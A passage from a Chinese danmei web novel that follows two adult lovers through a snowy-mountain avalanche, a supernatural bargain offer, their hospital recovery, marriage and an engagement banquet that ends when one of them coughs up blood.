氛围的改变不需要用嘴巴说明,手被倏地放开,楚霄揽住他的腰低头咬住他的唇厮磨。 男人带着鲜明的压迫感将楚青琅彻底笼罩。 明明只是被握住了手脚,楚青琅却感觉整个人都落入在了男人的手中,心脏不由自主的跟着加速跳动。 他俊美的面容演出惶惑,黑亮的眼眸中却一如既往的带着狡黠笑意,轻描淡写的要求, “把它遮住吧。” 楚青琅踩住楚霄的腿,西装裤被打湿黏在皮肤上,脚下的触感凹凸不平,那是先前火灾带来的伤痕。 楚霄甚至不舍得抬起头,将唇舌同他错开半分,但是在他催促的轻踢下,还是勉强抬头嗯了一声。 “纹什么?” “你想纹什么?” “你。” 最后一个字淹没于咽喉,楚霄重新调整角度咬了上去。 楚青琅笑着偏头躲开。 长且直的手狠狠插/进那浓密的发丝根部固定,酥麻从脊骨蔓延到脚尖,微微放大的瞳孔映着扑洒而来的雪花。 他几乎能看清楚那一朵雪花的每一处尖棱。 透明瑰丽,锋利刺目。 “” “不用担心老板,我爬这座雪山爬了几十次了,对各种线路了如指掌,只要你们不乱跑,我绝对能带您们登顶,然后再把您们安全带回去!” 向导带着粗着嗓音大声说话,眼睫毛带着冰霜,诚恳的望着他说话。 “就算是掉队了也不要慌张,用对讲机联系我,还有遇见暴风雪要找背风的地方搭帐篷” 楚青琅点了点头,抬头看了一眼不远处直插云霄的雪山,又回头看了一眼身后正在带上护目镜的男人,“你真的要去?” 楚霄放下手,身上赫然是和他相似的衣服和装备,说话间,口鼻中呼出白气,“追求你,当然是你在哪里我再哪里了。而且这么高。” 飒飒的踩雪声中,楚霄靠过来,为他整理了一下手套,“不跟着你,我不放心。” 楚青琅啧了一声,“我说你的腿,能坚持住吗?” 自从那次火灾过后,楚霄的腿除了那去不掉的疤痕,一旦走快还会带着一点的坡脚和疼痛,现在又要和他爬几千米的雪山,楚青琅怀疑到半路楚霄就会坚持不住。 这样子他为了男人的安全就只能回去了,毕竟将他一个人留在雪山,实在是不安全 楚霄只是抬手将他的帽子带好。 “别担心,我查过了,今天没有暴风雪,天气很平稳。” 楚青琅拍开他的手,对着一旁检查着装备的向导说:“再叫一个向导,我们先上去,让他再下面接应我们。” 向导很干脆的点头。这可是大顾客,别说是再叫一个人,就算是驮着他爬上去也可以。 很快三人沉默下去,保持体力朝着上面走去。 今天的天气确实很好,一望无际的湛蓝天空,连云都很少见。 向导走在前面,楚青琅走在中间,楚霄踏着他的脚步慢慢的跟在后面。 雪山下,冰川裂缝很常见,也经常出现在很诡谲的地方,因此向导时不时的叮嘱他们看清楚脚下,一定要跟着他的方向走,握紧绳索。 周围尽是凝结的冰面,空气寒冷刺骨,呼气吸气间,这抹冷意几乎能够将心肺冻结。 楚霄推着他的后背,帮助他向上攀爬,接着玩笑似的道:“别担心,你掉下去我也会抓住你。” 脚下的冰爪牢牢抓住地面,楚青琅轻易的翻越过去,回身看着男人笑:“好啊,哥哥。” 楚霄被他缠绵的语气叫的愣了一下,向导的声音混杂着风声在前面响起。 “开始下雪了,接下来视野范围会变窄,冰面也会越来越陡,每一步都要踩实,你们俩不要离的太近,别一掉掉下去一串!” 楚霄应下,不由得按了下心脏,暗想,青青真的是越来越知道怎么逗弄他了,也越来越知道自己对他根本没有丝毫抵抗力。 经过几个小时的攀爬,他们终于穿过了冰川,此时几人已经感觉到了疲累。 休息了几分钟后,向导观察了一会周围的环境,“你们有任何不舒服的一定要说,身体重要……前面已经有一处雪崩高发期,不要大声说话,保持安静,跟紧我的标记。” “好。” 他们已经爬了至少八个小时,中间路过了两个营地,但是都未曾休息,他们的目的是三号营地,只要到了那里,这次的路程就完成了60%。 楚青琅握着绳索的手都开始颤抖,不知道是冻得还是因为体力的消耗,雪粒子砸在面罩防风镜上,带着密集的声响。 风越来越大,前面向导的身影几乎消失不见, 极目望去,是满目的白,风夹杂着雪将视野变得狭窄起来,呜呜呜的,仿佛整个世界就剩下了自己一个人一般。 楚青琅心高高的提起,直到看见身后出现一个黑影,才松了口气,他安静的等着男人走来。 就算是遮住面庞,从四肢身形上依然能看出男人格外的英俊,只是此时他正拖着一只脚,缓慢的朝前迈步,就像是断臂的石像,带着残缺的脆弱感。 直到来到他的面前,男人踉跄了一步,楚青琅并未伸手,安静的站在原地看着他站稳。 楚霄很快就调整好呼吸。 “青青怎么了?” 楚霄越过他看着远处不断朝他们挥手的向导,觉得他是在催促他们快一点,但还是耐心的询问,“累了吗?装备给我一些” 楚青琅上前,弯曲手指敲了敲男人的护目镜,打断他的话,透过哪光滑的镜面,他仿佛看见那双漆黑的带着浓烈情感的双眸。 他轻笑,“等到了顶上,我有话给你说。” 楚霄下意识上前一步,潜意识促使他于心中泛起喜悦。 他察觉到了,青年口中的话,绝对就是他一直所期望得到的回复。 楚霄连忙低头张开双臂就要拥抱楚青琅,但是一声巨响后,天摇地动,他张开的指尖擦过青年的衣袖落在了空中。 “轰隆隆!!!” 楚青琅惊讶转身,看清楚面前的一切时,大脑猛地空白。 洁白的雪从山上奔涌而来,宛如接天的海浪朝着他们打来,带着毁天灭地的架势,卷起漫天雪雾将向导吞没。 雪崩?不,地震了! 逃不了,速度太快了!! 摇晃的地面使得两人如喝醉一般,但是还好靴子下面的冰爪带来了足够的摩擦力。 楚青琅从晃动的视野中不断寻找这可以躲避的石头,胳膊却突然传来一股巨力,将他朝着一个方向带去。 想要抵抗的心思在察觉到拽他的人是谁时瞬间放下。 雪浪转瞬即至,宛如野兽血口携带着狰狞面目朝两人兜头扑来。 他被猛地推到在地,血肉之躯同坚硬的石块撞击,带来闷痛。 但是此时楚青琅根本顾不得这点感觉。 时间在这一瞬间拉长。 男人双腿弯曲跪在他的身体两侧,双手扶着石块,脊背拱起,为他撑出了一块可以呼吸的地方。 楚青琅听见雪浪狠狠击打血肉时发出的闷声。 楚霄仿佛承受不住,脊背被压的下移,胸膛贴近的瞬间,他手肘弯曲,用关节插在楚青琅的两侧,硬生生留出了些许的空间。 但是这点空间却完全阻挡不了那侵袭而来的雪花冰块和石子。 砸在四肢上带来一阵阵的痛。 仿佛经过了很长的一段时间,又或者只有一个分钟。 楚青琅打了个激灵,猛地回过神,发现耳边那恐怖的轰鸣声已然消失。 昏黑的四周只剩下他急促的呼吸声。 挡在他身前的人仿佛已经完全没了生命体征。 楚青琅将手从雪中抬起,小心翼翼的捧起男人的面容,“楚霄?楚霄?!” 他压低了声音,生怕过大的音量再次带来坍塌。 但是面前的人只是沉默的保持着维护他的姿势,对于他的呼唤没有丝毫回应。 楚青琅意识到不对,脑子嗡的一声,他快速的将楚霄的面罩扒开,支起身子倾听他的呼吸。 男人原本便苍白的面容此时更是泛着青色,宛如一具尸体,楚青琅脱下手套横指感受不到呼吸,便将手伸进了衣领。 直到感受到温热的脉搏细微的跳动,楚青琅猛地才放松下来。 估计是一下子被太多的重物砸中,晕了过去。现在不能移动楚霄,不然后面顶着的雪会直接将两人淹没,到时候他们就只能坐以待毙了。 不过还好,背包都在手边,里面有着急救的东西还有帐篷等工具,等下上去了还要去找向导,自热食物都在他的背包里。 楚青琅重新带上手套,只是这么一会儿,他的手就被冻的僵硬,有些不听使唤。 他小心的将四周的雪推下,把身后的背包拽来,将挂着的冰镐拿出来,侧身从男人身旁缓慢的移动出去 刚刚世界末日一般的场景宛如幻境,夕阳笼罩着雪山,依然冷寂安宁。 轻嗤声后,平整的雪面被破开,一颗被裹得严实的头颅钻出来,随后便是整个身子。等彻底出来后,他将面罩整个摘下,露出了泛红的鼻梁面颊。唇微张,快速的呼吸,氤氲白雾扑洒,将眼前的一切都染成混沌。 天快黑了。 楚青琅收回视线,将面罩重新拉下,回身开始清理周围的雪,试图将男人拽出来。 本来他们爬山就已经浪费了很多时间,现在绝对赶不到营地,而且失去了向导他们也不能随便乱走,万一掉进裂缝里面就完蛋了。 只能就地扎营等待救援。 只是楚青琅想不通的,这里为什么会突然地震? 因为男人已经失去了意识,所以挖出他比想象中困难,不过还好,他在上来的时候在男人的身上绑了绳子,就算是拽也可以把人拽出来。 楚青琅不断后退,绳子将手腕绑缚的胀痛,他却并未松开手,脚下的雪蓬松,根本不像之前的冰面那样可以踩实,因此并不好发力。 而且还有着石块,顶着脚心,一不小心就会扭住脚踝。 很快楚青琅就踩到一个圆形的石头,踉跄一步扑到在雪面上。 “真倒霉。” 寒意层叠侵蚀而来,已经完全分不清是痛还是冷了,他缓了缓,翻身想要将腿拔出来,余光中却突然发现一颗东西朝他袭击而来。 透明的,像是冰块,从山上滚落。 楚青琅转身想要避开,却因为腿深陷雪中,根本无法躲开。 “砰!” 伴随着玻璃碎裂声,他的脑袋剧痛,眼前蓦地发黑起来。 又来一次,就好像是被针对一样楚青琅的心中不由得蒙上了一层阴影。 不行,他不能晕,这东西从上面滚下来的,很有可能会有第二波地震。而且不知道时不时他被震伤了脑袋,楚青琅已经感觉到了大地又在晃动。 楚霄已经没了意识,此时他再晕过去,两个人都该去黄泉路了。 仅存的意识让楚青琅不断的摸索着绳子,想要将楚霄再拽出来一点,但是黑暗的侵蚀并不如他所愿那样放慢脚步。 在他闭上眼的瞬间,晃动的地面瞬间平静下来,染着血色的冰块滚落一旁,反射出刺目光芒。 身材修长的青年穿着黑红交织的冲锋衣,伏在地面,护目镜碎裂,太阳穴处伤口不断流出鲜血,撑起身子的手前伸,死死的攥住一掌的白雪 “嗞啦——救援队马上到,请——” “青青,看着我,看着我——” 模糊的世界中有一道熟悉的声音响起,激起黑暗中的思绪产生道道涟漪。 清醒眷顾楚青琅片刻。 迟钝的四肢反出灼热感,却仿佛隔着一层薄膜,没有带来丝毫刺激。 眼睫交织成网,中心黏住一张濒临崩溃的扭曲面容。 好丑啊,楚霄。 他还没死呢。 楚青琅这样想着,努力的睁开双眼想让他收回那种丑死的表情。 两人在睡袋中,衣服搭在上面,楚霄牢牢的将他揽在怀中,两人胸膛相贴,温度互相传递。 楚青琅此时才发现不知何时已经帐篷已经支了起来,不断传来刺啦声的对讲机被撂在一旁,外面的天色已经彻底黑下,风声夹杂着雨雪将帐篷吹的变形。 这次整个世界确实只剩下了他们。 一声轻笑不由得溢出唇间,随后被楚霄颤抖着堵住,骨节分明的手摩挲着他的脊背,昏暗中,楚青琅看见他的身上满是青紫於痕。 “饿不饿?别睡好不好?在坚持一会儿乖乖。” 楚霄伸出舌将他干裂的唇湿润。 楚青琅慢吞吞的嗯了一声,有些疲倦的张开了嘴,任由哪柔韧的舌舔舐进口腔,将糖块混着鲜血渡进他的咽喉。 他想,这个人怎么到了这个时候还在想着接/吻,好饥/渴,之前都没有满足他吗? “青青好棒,要不是在我身上系上了绳子,我都没有办法找到你,是青青自己救了自己噢。”楚霄哄着他,“青青之前想要和我说什么?” 说啥?噢他是要来答应他的追求的。 在雪山顶峰答应下来的话,算是惊喜吗? 楚青琅的思绪仿佛断裂的蜘蛛网,漂浮在空中,念头四散。 他好不容易揪住那个目标,知道自己要回答什么,于是殷红的唇翘的更高了,眼眸亮晶晶的。 “我答应你的追求。” 楚霄微微后撤,眼眸深处仿佛有灵魂在尖叫,话语却平静温柔极了,他抬起手腕抵住他的唇说,“我很开心。乖乖喜欢什么类型的戒指呢?” 楚青琅眨了下眼,本能吞咽着,模糊中道:“结婚吗?” 鲜红浸润双唇,顺着下颌流淌至肩颈,随着摩擦蹭在两人的身上,将青年硬生生的变成了颓靡危险的吸血鬼。 楚霄却依然不断的撕裂伤口,将皮肉翻卷,用血与肉献祭给他的爱人。 他说:“回去就结婚。” 楚青琅沉思了一会儿。 反正他的家人只有楚霄一个人,无论什么身份都可以。 “好——” “楚霄。” 华丽冰凉的嗓音突然出现,周围的一切变得宁静起来。 无论是风声还是雨雪敲打帐篷的声音,都消失不见。 楚霄在一瞬间搂紧了青年,警惕的望了过去,他并未第一时间回答,只以为自己出现了幻觉。 一道人影在瞳孔中猛地显现,祂仿佛从头到尾都坐在那里,直到此时才允许他看见祂的存在。 “我们做个交易。” “你是谁?!” 眨眼间,那道人影就来到他的面前,宛如幽灵一般,将头颅凑了过来,但是那幽深的模糊不清的面目,让楚霄竟然产生了一丝惊悚感,祂的嗓音直直灌进脑海。 “等你真正感到绝望的时候,呼唤吾的名字。” “时间还没到,你可以称呼吾为——主神。” 一直刺啦作响的对讲机忽然发出了清晰的声音, “家主,已经定位到您,救援很快就到,请您和小少爷坚持一下。” 第 111 章【VIP】 第111章 第 111 章 情意绵绵。 “这次地震的原因专家说是因为板块的碰撞和挤压, 之前比邻的国家发生过几次小型的地震,至于为什么这次地震监测仪没有显示问题,可能是发生了故障,还在检查……” 管家看着面前两个乖巧的躺在床上的木乃伊, 很温和的笑了。 “所以家主还有小少爷, 能告诉我你们是为什么要去这么危险的地方吗?” 看着管家慈祥的笑, 楚青琅莫名的有一种心虚的感觉…… 他下意识瞅了一眼楚霄, 却只看见一脸魂不守舍的人。 于是他只能咳嗽了一声道:“这次是意外,我们以后不会去了, 就在家里呆着,真的!” 管家不仅是看着楚霄长大的,也是看着他长大的,因此在两人的心中已经是很亲密的长辈了。 这次他们一起出事,算是让这个老人的心脏经历了一场蹦极。 管家看了青年一会儿, 还是被他略带讨饶的表情征服。 他上前一步,将削好的水果摆放在楚青琅的手边,还是轻而易举的放过了青年。 “您知道危险就可以, 好好休息。” 楚青琅点了点头, 朝他露出软软的笑, 换来了一个摸摸。 看着管家离开,楚青琅松了一口气, 这种撒娇对他来说, 还是不太适应。 他慢吞吞的拿起水果送进嘴里,修长的五指因为绷带的束缚变得僵硬。 他们身体上的伤痕多为冻伤,为了避免被感染,绷带从上到下缠绕着,一点皮肤都没露。 在雪山上没有感觉到疼痛。 到了下面, 麻醉药剂褪去后,一波波的痛就涌了上来。 不过还好,他还能忍住。 只是楚霄从他们醒来,就一直没说话也没有表情,就像是被什么困扰了一般。 “你在想什么?” 楚青琅扭身想给楚霄一块水果,却看见一双浓黑的眼眸安静的凝望着他,就像是突然贴脸的鬼,吓了他一跳。 掉下的水果被一只手接住。 楚霄下床跪在他的面前,动作利落的像是根本没有在意他身上的伤口。 “你小心点——” 楚青琅皱了下眉。 带着凉意的梨子抵住他的唇,他不由得将话咽了下去,神情变得疑惑起来。 相比起娇嫩的唇,就算是细密的纱布也格外的粗糙。 梨子被缓缓推进,楚青琅被磨地张开了嘴。 洁白的牙齿将果实咬碎,甜蜜的气息逸散,在鼻端飘荡。 楚霄眼眸暗沉,躬身舔舐了一下他的唇。 楚青琅条件反射的闭紧了嘴巴,唇瓣却被轻轻啃噬。 楚霄低喃:“张开,青青。” 男人分明就是在勾引。 楚青琅头疼起来。 他们现在身负重伤,怎么可能再做那种事情。 楚霄察觉到他不肯张嘴,低声说:“青青,我有点害怕。” 害怕? 楚青琅愣了一下。 他不禁想起先前再雪山上男人死死保护他的样子,心脏顿时像浸在水里。 “别担心唔——” 楚霄却趁着他张嘴的将舌伸了进去,两人的气息顿时混乱起来。 他就知道! 男人的吻强势且缠/绵,舌尖勾过那还未咽下的梨子,囫囵吞下,不肯放过每一个角落。 但是手却只是克制的按着他的后颈,不像是以往那样,恨不得将他的全身按进血肉。 炽热的温度穿过绷带渗入皮肉,死死的攥住他的灵魂。 楚青琅被吻的头晕目眩,察觉到男人终于又放开他的意思,连忙偏头躲开。 “你身上不疼啊?!” 说什么害怕,依着楚霄刚才的表现,楚青琅有理由怀疑他就是发/骚了。 楚霄抬手擦拭了一下他唇边的滑落的涎水,砸吧了一下嘴,“嗯,青青一如既往的甜。” 楚青琅忍不住瞪了他一眼,看着一脸正经的模样,微笑,“你还是一如既往的不要脸。” 青年的皮肤薄,只是情绪激动了一下,那精致的耳垂就晕出红来,顺着白皙的皮肤蔓延到面上,像是晚霞般瑰丽。 惹得楚霄抬手摸了下他的耳朵,浓黑的眸子注视着青年生动的表情,还是将之前发生的事情咽了回去。 那个所谓的主神,应该是他的幻觉。 当时他和青青的状态都不好,很有可能因为他的求生欲望而造出了那场幻境。 只是那个主神所说的他会绝望,让楚霄有点迟疑。 对于他来说,这个世界上除了青青不理他以外,没有任何事情能够让他绝望 楚霄心中不断的想着,抬眼就看见一脸不耐烦的楚青琅。 他没有忽略那话语中的亲昵,忍不住重新凑近道: “刚刚青青是在担心我吗?我很开心。” “没有。” 楚青琅抬手呼上楚霄的脸,将他推开,“别凑过来,小心我叫人给你绑住!” 楚霄仰头吻了一下,在楚青琅眉挑起来之前顺从道:“知道错了,别生气青青。” 咚咚咚—— 一旁传来敲门声。 护士站在门边,面上挂着相当温和的微笑。 她很有职业素养的平静道:“请您回到自己的病床上,这边要给您换药了。” 楚青琅松开的手顺势点了点楚霄,“快回去!你的伤很严重!” 两个人虽然都被包成了木乃伊,但是他的伤比楚霄身上的轻了不少。 楚青琅只以为这是楚霄为他挡下第一波伤害的原因,毕竟当时的雪中藏匿着不少的冰块和石头。 后面要不是他被砸晕又冻了一会,楚青琅根本不需要躺病床。 不过话说回来,他们后面是怎么下山的? 楚青琅只记得当时从晕厥中醒来,看见的就是赤/裸身体和他互相温暖的楚霄,后面就没有任何记忆了。 不对,还有一嘴的血腥味。 想起来竟然瞬间压下了梨子的清甜。 楚青琅皱起了眉,他下意识的摸了下喉咙,不适的吞咽了一下。 总觉得当时好像喝下了什么,是向导过来煮的汤吗? 这种味道逼得他下床,朝着一旁的洗漱间走去。 镜子里的青年眸子清亮,神情带着微不可察的烦躁,唇被咬吃的红润,还带着半枚牙印。 楚青琅看了一会儿,低头将绷带揭开,打开了水龙头。 等洗漱完回来,楚霄周围的帘子已经被拉了上去。 “青青。” 低哑的声音响起,引得楚青琅抬眼看去。 却发现楚霄身上的药已经换好,四肢被束缚带捆住,平躺在床上,眼珠使劲下移试图看他。 好像先前的经历,愈发激发出了这人的患得患失。 一刻也离不开他。 楚青琅轻易的从他的皱起的眉间,确认了这个事实。 “青青说句话好不好?” 楚青琅故意没有回答,甚至脚步都放轻了。 空间一瞬间安静下来。 楚霄闭了闭眼,面容冷下,他抬手试图从束缚带中挣脱。 疼痛对他来说并不算什么。 一只手带着湿凉将他的手按下,挤进他的指间。 面前出现一张噙着笑意的俊美面容,睫毛纤长,幸灾乐祸的歪头。 “看起来,护士小姐对你不听医嘱很不满意。” 楚霄紧绷的肌肉缓缓放松,躺在那里,凌厉的面容柔和下来。 两人的鼻尖蹭了蹭。 “青青要惩罚我吗?” 楚青琅低头顶了他一下。 “你能不能正经点!” 楚霄点了点头,“那青青和我一起睡觉好不好?” 楚青琅:“…….” 这就是你的正经? 楚霄反手握住他的手腕,摩擦着掌心。 算了,反正他现在那里也去不了,身上还疼的很。 楚青琅将病床朝着楚霄推去,双人床很快就变成了一张大床。 他刚躺下去,就感觉到手腕被握住,力道很重。 楚青琅反手拍了拍,那力道才轻了一些。 两人十指交叉的一齐睡了过去。 …… 应该是年轻,所以楚青琅的身体好的很快。 这些时间里他除了和楚霄在一起亲密,也逐渐开始学着怎么管理一个公司。 楚霄本来想让他直接上手总公司的,但是被他果断拒绝了。 虽然他坚信自己聪明能干,但是之前从来没有接触过,他还真怕自己给楚霄的公司弄倒闭了,所以决定先接手一个小公司练手。 这个想法被楚霄听见之后,他笑了好一阵。 楚霄揽着他,头埋进他的脖颈中说:“如果真的倒闭了,那说明我花钱雇来的人不行,怎么会和你有关系,傻青青。” 楚青琅微笑着揪起他的头发,抬脚踢了一下他唯一的好腿,气冲冲的离开了房间。 直到出来,他还能听见身后的笑声。 但是楚霄还是尊重了他的想法,给了他一个初创公司用来练手。 “老板,这次的方案就是这样,您看还有什么需要改的吗?” 楚青琅回神,看着面前的人嗯了一声,“这次有进步,和甲方的要求很合,就先按照你的方案来,有任何问题及时沟通。” “好的老板。” “嗡——” 楚青琅手机拿起看了一眼,随口道:“这次的会就先开到这里,你们先出去吧。” 办公室内的人互相看了一眼,纷纷起身离开。 走到外面,不期然的看见手拿保温袋的前台走来,他们面上挂着笑揶揄起来。 “又是嫂子给我们老板送的?” “不知道这次做了什么,真是贤惠,每天都做好送过来。” “嘘,叫什么嫂子,我之前看是个男的送的” “男的怎么了?就我们老板那么帅气年轻有为的,我一个一米八大男人都爱了!” “可惜,你和老板颜值不匹配。” “啊啊啊!之前谈合同给你挡酒白挡了!!” 门并没有关严,窃窃私语的声音悠悠传来。 楚青琅起身站在落地窗前听着电话那头传来的叮嘱,抬手松了松领带。 骨节弯曲,映衬着拿深蓝色的布料,更显的白皙修长,俊美的面容带着一丝的疲倦,但是随着电话那头的琐碎声音,神情愈发柔和起来。 透过落地窗,他看见前台站在门边踟蹰。 他微微侧身,手指向着桌子点了点。 前台连忙上前,将东西放下就转身离开。 自从他来上班,楚霄每天都会给他过来给他送饭,手艺也越来越精湛,越来越往贴心的方向发展了。 就像是之前的那些疯狂控制的举动是幻梦一般。 楚青琅正要走过去,却听见楚霄语气轻柔道:“青青,别动。” 脚步顿住,楚青琅从鼻腔中挤出疑惑的声音。 楚霄像是亲眼看着他一举一动,语气越发的缠绵。 “抬头。” 落地窗外面是阳光灿烂,周围是密布的高楼大厦,金灿灿的光芒被玻璃反射处刺眼的光芒,楼下的人就像是一个个的蚂蚁,看不清面容。 楚青琅等了一会儿,并没有看见什么。 他调侃道:“今天天气是不错,但是——” 余光中出现一道鲜亮的颜色,他未说完的话不由得吞了回去。 楚青琅怔愣遥望,却发现一颗颗的气球从下之上飞向天空。 五彩的爱心,星星,还有月亮。 越来越多,越来越多,将目之所及的天空都遮蔽了完全。 直到漂浮在他的面前,楚青琅看见拿饱满的气球上被画上了笑脸,每一个气球下还系着同色的玫瑰。 风儿将其吹的飘摇,系着玫瑰的带子被吹开,无数玫瑰就在他的眼前如雪花一般落下。 楚青琅伸出手,白皙的掌心盛着阳光,试图抓住那飘落的花瓣。 冰凉的触感传来,隔着玻璃,玫瑰花瓣被风卷起,又轻轻飘远。 这一幕夹在高楼大厦之间,引来了许多的惊呼。 呼吸声在耳边回荡,楚霄的声音在身后响起。 “我本来想撒钱的,但是管家说这样不好,为什么不好?” 男人高大的身影压上来,还在伸着的手被握住,溶着金光的发丝被轻吻。 “我只是想让所有人,都体会一下我的心情。” 楚青琅清晰的感觉到,身后那心脏的跳动。 一下又一下,坚实有力。 他放松身体,靠在楚霄的怀中,偏头轻吻他的下颌,“只是领一个结婚证而已,这么激动?” 连等他开完会都等不了。 柔软的触感一触即分,楚霄下意识的追过去,将青年压在了落地窗上。 “等不了。” 他没办法等待,无法等待。 欣喜和惶恐塞满了他的心脏,将他整个人充盈的几乎晕厥过去。 楚霄咬着那纤长的锁骨,将脸埋进青年的胸膛。 阳光下,那皮肉上的痣清晰可见。 淡红色,小巧可爱,经过牙齿的啃噬,变得越发艳红。 几乎是烙进楚霄的眼中。 “唔,该被人看见了,楚霄!” “不会,让我吃一口,就一口。” 楚家庄园,乐声悠扬。 充足的灯光将黑暗压下,衣饰繁美的客人互相交谈着朝宴会厅走去。 侍应生在其中不断穿梭,携着礼貌的微笑照顾每一位客人。 鲜嫩油亮的食物,各种玻璃杯具盛放着琥珀色的酒液,金属灯架扭曲成颇为艺术的弧度,烛火点缀其上。 明亮的令人炫目。 李织从车上下来,不由得扯了扯身上的衣服,看着里面奢华的场景,一阵眩晕。 他的衣服已经是精心挑选的,也花了他存了好久的钱,却仍然比不上这里面任何一人身上的装饰物品。 李织从未如此真切的发现,青青和他的差距。 竟然如此大。 那个男人能够给青青的,无论是他,还是葛元,都给不了。 一旁的侍应生看见他,以为他是迷路了,连忙上前引路。 李织紧紧握住衣兜里面的礼物,迈步跟了上去。 他穿过无数的,只能从电视,杂志,新闻上瞧见的人。 他们的没有给他分出一丝目光,就好像他是老鼠一般,误闯进这富丽堂皇的,奢华靡丽的晚会中。 李织僵硬着手拿起一杯酒,站在角落看着他们的交谈,直到目光对上一个熟悉的人,心中才稍微安定下来。 “你竟然也来了?” 葛元身上带着烟气,从路过的侍应生那里拿起一杯酒一口闷下。 他笑着问李织,眼中却淤积着无尽的负面情绪。 李织分不清,但是想也知道,面前这个穿的人模狗样的人是在嫉妒,是在恨。 “你能来,我为什么不能来,青青也邀请我参加了。” 只是当初邀请他参加的是成人礼,而现在他们参加的是,订婚宴。 葛元讽刺的笑了下,撞开李织的肩膀朝着前面走去。 宴会厅被他落在身后。 被邀请而来的交响乐手在指挥中演奏出舒缓的音乐。 笑声,说话声,冰块在酒杯中碰撞的声音,甜腻的点心和高级的香水交织,像一张巨网,将所有的人笼罩。 只有他们,是误闯进来的外人。 踩着柔软的地毯,穿过道道或许阴暗逼仄的走廊。 楚霄来到一处房门前。 他抬起手敲门。 咚咚咚。 克制又体面。 里面传来一道清亮的嗓音。 “进。” 楚霄推门走了进去,一眼就看见坐在沙发上,摆弄着手上袖链的矜贵青年。 如今的他完全不想刚见面那时候瘦小可怜,定制的午夜蓝西装越发显得他身姿挺拔,肩宽腿长。 白皙的皮肉贴合漂亮的骨骼轮廓,被金钱灌养出的慵懒浸染眉眼。 密长的眼睫在眼尾拉长,眼神扫来,一如既往的俊美,是带着刺的蓝色玫瑰。 “这也太难弄了!” 楚青琅恼怒的抓起它朝着男人扔去。 胸口传来一道轻微的力道,袖链顺着领带落在一只大掌中。 楚霄走过去,单膝跪地,拿起他的手腕。 铂金镶嵌黑玛瑙的袖链,在青年的手中是天大的难题,但是在男人的手中却格外听话驯服,很快就按了上去。 “好了,别生气了乖乖。” 楚霄握住他的手,一脸不耐的人揽进怀中,手顺着他的后颈下滑,拍着他的脊背。 凛冽的悠长的香气传来,很好的压下了心中莫名升起的火。 原本楚青琅身上的衣服会有人帮忙检查,但是不知道怎么回事,距离订婚宴会开始的时间点越进,他就越发心浮气躁起来,就将人全赶出去了。 明明他们连结婚证都已经领过了 难道他还有什么婚前恐惧症吗? 楚青琅闭了闭眼,压下心中的无名火,伸出手回抱了一下男人。 “我没事,起来吧。” 但是男人却并没有真的将他放开,反而按着他的肩膀将他压在了沙发上,自己挤进他的腿间蹲了下来, “撕拉——” 梳到脑后的发丝滑落,青年面上显出几分惊愕来。 楚青琅一向冷淡的嗓音顿时破碎。 “楚霄,你发什么疯?!” “这句话好熟悉。” 楚霄仰头,偏头在他腿旁蹭了一下脸。 一只手攥住他推拒的手腕,拽下一齐握住。 他唇克制的挑起,眼中的爱意灼灼燃烧,几乎要将两人一齐焚烧殆尽。 “别怕,发泄一下就好。” 楚霄囫囵吞咽着,仿佛许久未进食的人看见了饕餮大餐。 后面就算是被放开手,楚青琅也只是攥紧了一旁的沙发,青色筋络从手背浮现,骨节因为紧握的力道泛白。 眼尾被逼出红晕,光芒洒在仰头蹙眉的面容上,莫名的带来一股脆弱靡丽的感觉。 明亮的灯光在眼前晃动,长久的注视使得眼睛泛干。 陡然间,所有的悉悉索索声消失不见,头脑顷刻变得空白,他挺起的胸膛也放松下来。 楚青琅眨了下眼,泪液涌出湿润了眼球。 “咕噜。” 吞咽声在耳边响起,一只手将他拽起,冷冽英俊的男人笑着,将他拥进怀中。 “怎么样?” 就像是楚霄所说的那样,他确实放松了不少。 楚青琅呼气吸气,还是忍不住抬脚踩了一下男人的脚,用力极大。 “神经病!” “轻点乖乖,本来腿就坏了。” “活该!” 楚霄那点笑意变得浓郁起来,毫不在意的样子,脸皮极厚。 楚青琅哼了一声,站直将人推开,径直朝着洗漱间走去。 就是衣服又要换一身了。 他之前还夸楚霄变了,没想到现在是藏都不藏了。 楚霄紧跟着他走进来。 “我帮你挑衣服。” “你赶紧洗漱!有点时间观念好不好?!” 李织不知道葛元去那里了。 这几年,在楚霄的严防死守下,他们和青青都没有什么相见的机会。 所以葛元过来,也实在是想要再看一看青青吧。 和他一样。 但是又不一样。 他没有葛元那样有着强烈的自尊心,能够选择放弃竞争。 而他,根本没有这个选择。 如果他有葛元那样的条件,他死也不会放弃的。 时间一点一点的过去,音乐声渐渐变得飘渺起来。 李织站在角落中,手中拿着不知道第几杯的酒,他仰头,琥珀色的酒液顺着咽喉滑落。 水晶吊灯在眼中漫射出璀璨光芒。 他眯了下眼,慢了半拍垂下头,才察觉到周围的人变得兴奋又安静。 顺着人群的目光看去。 李织瞧见了一对颇为般配的恋人。 他们身上的西装一看就是一对,只是男人身上的礼服格外沉稳庄重,青年衣领上的花纹则带了一些法式的浪漫色彩,灯光在他们身上滑过,那金色的袖链折射出光彩,格外耀眼。 两人十指交叉,对视间带着绵绵的情意。 青年漫不经心的注视着他们,视线在李织身上一扫而过。 “这酒后劲好大。” 李织收回视线,嘟囔着,蹲下身子,将酒杯放在了地上。 “咔哒!” 一颗颗水滴从眼眶落下,将大理石地板照的愈发透亮。 订婚仪式正常进行,李织几乎躲进了窗户旁垂下的幕帘中,就像是一个幽灵。 直到一声惊叫传来,乐声戛然而止。 他猛地抬头。 “医生!管家叫医生!!!” 男人双目通红的大吼,那种沉稳庄重被撕扯了个干净,就像是身上的人皮被猛地拔下,露出了里面掩藏极好的野兽。 面目狰狞又残暴。 他目光阴鸷带着刺骨的寒意,仿佛将所有人当作了敌人。 压抑的气氛瞬间弥漫。 众人心中涌出恐慌和悚然。 “青青!” 李织踉跄朝着台上跑去。 身形欣长的青年被男人抱在怀中,唇边不断溢出殷红的血液,那红逐渐充斥了他的所有视野。 呼唤声和嘈杂声宛如隔着一层玻璃。 怎么回事? 楚青琅低头,看着地上的一滩血,咽喉瘙痒,他皱眉弯腰,咳嗽起来。 摊开手,掌心中鲜红刺目。 【END】 第112章 第 112 章 我回来了。…… “青青?!” “没事的, 没事的,青青别害怕。” 楚霄抱着他,骨节分明的手不断颤抖着,一次又一次的擦拭他唇边溢出的血液。 鲜红的血渍染红掌心。 那红混着明亮灯光, 还有李织凑上来的惊叫声, 几乎化成一个个扭曲的符号, 在楚青琅的眼前晃来晃去。 有点头晕。 迟钝的痛从胃部传到神经, 逐渐盛烈,像小腹里面塞了个搅拌机, 将肠胃扭了个稀巴烂。 